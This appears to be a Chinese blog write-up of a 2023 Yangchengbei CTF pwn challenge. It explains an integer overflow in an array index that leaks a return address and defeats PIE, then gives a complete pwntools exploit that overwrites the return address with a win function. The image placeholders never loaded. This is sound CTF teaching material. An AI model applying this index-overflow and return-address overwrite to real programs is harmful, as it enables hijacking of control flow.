羊城杯2023 pwn-arrary_index_bank

文件保护
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

ida加载
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

程序中含有system函数初步判定可能为ret2text
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

存在整数溢出,不可以直接改地址,因为super_ai的返回地址一定比v1高所为不行
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如何进行整数溢出呢?
举例
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

为什么十六进制的 0x4000 0000 0000 0007 * 8 会等于0x38呢,因为7*8产生了进位所以4被64位舍弃

思路
首先进行溢出
观察动态调试
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现RAX已经变成负数
cmp操作进行完比较相同为0不相同为1
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

进入分支
在这里插入图片描述
在这里插入图片描述

泄漏地址为rbp下一位
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

地址因为是十进制所以进行转换查看是否泄漏成功
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

完全成全
地址已经泄漏完成开始payload的搭建
接收地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

基地址计算
接收地址-super_ai的返回地址
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也就是0x151b
更改为win地址
考虑堆栈平衡 + 0x1315
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

exp

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

#本地文件
filename = './pwn'
io = process(filename)
#远程连接
#io = remote("127.0.0.1",8080)

elf = ELF(filename)
#libc = elf.libc
gdb.attach(io,'b *$rebase(0x13f4)')

#存在整数溢出,实现任意地址泄漏
def one_(idx):
	io.sendlineafter('> ','1')
	io.sendlineafter('Whose account?\n',str(idx))
	
#存在整数溢出,实现任意地址改写
def two_(idx,addr):
	io.sendlineafter('> ','2')
	io.sendlineafter('Whose account?\n',str(idx))
	pause()
	io.sendlineafter('How much?\n',str(addr))	

#泄漏super_ai的返回地址	
one_(-0x8000000000000000+7)	

#接收地址
io.recvuntil('] = ')
#计算基地址
nx_base = int(io.recvuntil("\n")[:-1],10) - 0x151b
print('nx_base:',hex(nx_base))
#10为转换之整形十进制

win_addr = nx_base + 0x1315
print('win_addr:',hex(win_addr))

#改写super_ai的返回地址
two_(-0x8000000000000000+7,win_addr)


io.interactive()

  • 9
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sagice

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值